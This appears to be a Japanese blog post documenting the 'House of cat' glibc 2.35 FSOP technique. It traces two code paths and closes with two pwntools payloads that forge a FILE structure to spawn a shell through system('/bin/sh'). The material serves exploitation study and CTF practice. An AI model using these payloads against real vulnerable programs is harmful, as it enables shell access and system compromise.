詳説House of cat
はじめに
House of catとは、8byteのglibc領域への任意書き込みでシェルの実行が可能なFSOP。largebin attackとも相性がいい強力な手法である。この記事は、その詳細な解説記事が消えていたため、備忘録として書いた。
環境
- glibc 2.35 (https://elixir.bootlin.com/glibc/glibc-2.35/source)
前提条件
- heapとlibcのアドレスリーク
- heapへの最低0xe0 byteの書き込み
- libcへの8byteの任意書き込み
攻撃の流れ
ターゲット
最終的に到達したいポイントは_IO_switch_to_wget_mode
の_IO_WOVERFLOW
である。
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
_IO_WOVERFLOW
マクロは以下のように展開される。
fp->_wide_data->_wide_vtable->__overflow(fp, 0xffffffffu)
したがって、fp
の指す内容を変更できるとき、任意のコードが実行可能となる。
Call Stack
_IO_switch_to_wget_mode
に到達するパスのうち、_IO_flush_all_lockp
と__malloc_assert
を経由するものを紹介する。
以下は_IO_flush_all_lockp
経由で到達する際のCall Stack。_IO_list_all
を書き換えて、main関数からexit
関数を呼び出したり、returnをすることで到達できる。
_IO_switch_to_wget_mode
_IO_wfile_seekoff+109
_IO_flush_all_lockp+226
_IO_cleanup+46
__run_exit_handlers+434
on_exit
以下は__malloc_assert
を経由して_IO_switch_to_wget_mode
に到達する際のCall Stack。stderr
を書き換えて、mallocでエラーを起こすことで到達できる。
_IO_switch_to_wget_mode
_IO_wfile_seekoff+109
fflush+122
__malloc_assert+85
sysmalloc+2151
_int_malloc+3885
malloc+450
パスを追う
_IO_flush_all_lockp
経由のパスを追う。
main関数からexit
関数を呼び出したり、returnをすると、_IO_flush_all_lockp
が呼ばれる。
_IO_flush_all_lockp
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // #1
result = EOF;
fp = (FILE *) _IO_list_all
としたあとで、_IO_write_ptr
のチェックがある。したがって、このパスでは、_IO_list_all
に偽造したFILE構造体のポインタを書き込む。前述の条件を満たすと、#1で_IO_OVERFLOW
が呼ばれる。これは次のように展開される。
&& ((IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((fp), struct _IO_FILE_plus, vtable)))->__overflow) (fp, (-1)) == EOF)
IO_validate_vtable
とは_IO_FILE_plus
のvtable
メンバが正常(に見える)かをチェックする関数[1][2]。詳細は省くが、大事なのはvtable
メンバの値を正常な値からずらすことで、vtable内の任意の関数を呼べるということである(それ以外を呼ぼうとするとプログラムが強制終了される)。
この攻撃では、_IO_wfile_seekoff
を呼び出したい。正常なfp->vtable
は_IO_wfile_jumps
を指している(内容は以下を参照)。fp->vtable->__overflow
というのはfp->vtable + 0x18byte
であるので、fp->vtable
を_IO_wfile_jumps + 0x30
とすることで、fp->vtable->__overflow
が_IO_wfile_seekoff
となる。
_IO_wfile_jumps ◂— 0
_IO_wfile_jumps+8 ◂— 0
_IO_wfile_jumps+16 —▸ _IO_file_finish
_IO_wfile_jumps+24 —▸ _IO_wfile_overflow
_IO_wfile_jumps+32 —▸ _IO_wfile_underflow
_IO_wfile_jumps+40 —▸ _IO_wdefault_uflow
_IO_wfile_jumps+48 —▸ _IO_wdefault_pbackfail
_IO_wfile_jumps+56 —▸ _IO_wfile_xsputn
_IO_wfile_jumps+64 —▸ _IO_file_xsgetn
_IO_wfile_jumps+72 —▸ _IO_wfile_seekoff
_IO_wfile_jumps+80 —▸ _IO_default_seekpos
_IO_wfile_jumps+88 —▸ _IO_file_setbuf
_IO_wfile_jumps+96 —▸ _IO_wfile_sync
_IO_wfile_jumps+104 —▸ _IO_wfile_doallocate
_IO_wfile_jumps+112 —▸ _IO_file_read
_IO_wfile_jumps+120 —▸ _IO_file_write@@GLIBC_2.2.5
_IO_wfile_jumps+128 —▸ _IO_file_seek
_IO_wfile_jumps+136 —▸ _IO_file_close
_IO_wfile_jumps+144 —▸ _IO_file_stat
_IO_wfile_jumps+152 —▸ _IO_default_showmanyc
_IO_wfile_jumps+160 —▸ _IO_default_imbue
したがって、ここで満たすべき条件は以下2つのどちらか。
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
_IO_wfile_seekoff
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
(略)
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp)) // #2
return WEOF;
#2に目的の関数が存在する。ここに至るまでに満たすべき条件は以下の通り。
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
これは、1つ前の関数が満たすべき条件の2つ目と一致するので、この攻撃ではこちらの条件を満たすようにFILE構造体を偽造する。
_IO_switch_to_wget_mode
再掲となるが、_IO_switch_to_wget_mode
のコードを載せておく。
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
ここで満たすべき条件も前の関数と一致している。すなわち、fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
であればよい。ここで、前述の通り、fp
を引数として任意の関数が呼べるため、system("/bin/sh")
やsetcontext
を使ったROP[3]を実行することができる。
__malloc_assert
経由のパスを追う。この関数はmallocでエラーが発生したときに呼ばれる。つまり、Double free
やTopのfreeを起こすことで到達できる。
__malloc_assert
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr); // #3
abort ();
}
#3でstderr
を引数にfflush
を呼んでいる。(__fxprintf
はfp->_lock
にアクセスするので、アクセス可能なアドレスに設定する)
fflush
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0; // #4
_IO_release_lock (fp);
return result;
}
}
#4に存在する_IO_SYNC
は以下のように展開される。
result = ((IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((fp), struct _IO_FILE_plus, vtable)))->__sync) (fp) ? EOF : 0;
ここでfp->vtable->__sync
はfp->vtable + 0x60byte
であるので、fp->vtable
を_IO_wfile_jumps - 0x18
にすることで、fp->vtable->__sync
が_IO_wfile_seekoff
になる。後は
_IO_flush_all_lockp
と同様。
Exploit Code
payload = b"/bin/sh".ljust(0x10, b'\0')
payload += p64(libc.sym["system"]) # _wide_data->_IO_write_ptr
payload += b"\x00" * (0x88 - len(payload))
payload += p64(fake_io + 0x28) # lock (writable area)
payload += b"\x00" * (0xa0 - len(payload))
payload += p64(fake_io - 0x10) # _wide_data
payload += b"\x00" * (0xc0 - len(payload))
payload += p32(1) # _mode
payload += b"\x00" * (0xd0 - len(payload))
payload += p64(fake_io - 0x8) # _wide_data->vtable
payload += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x60)
payload = b"/bin/sh".ljust(8, b'\0')
payload += p64(1)
payload += p64(libc.sym["system"]) # _wide_data->_IO_write_ptr
payload += b"\x00" * (0xa0 - len(payload))
payload += p64(fake_io - 0x10) # _wide_data
payload += b"\x00" * (0xc0 - len(payload))
payload += p32(1) # _mode
payload += b"\x00" * (0xd0 - len(payload))
payload += p64(fake_io - 0x8) # _wide_data->vtable
payload += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x18)
終わりに
House of cat、名前がかわいいので流行らせていきたい
Discussion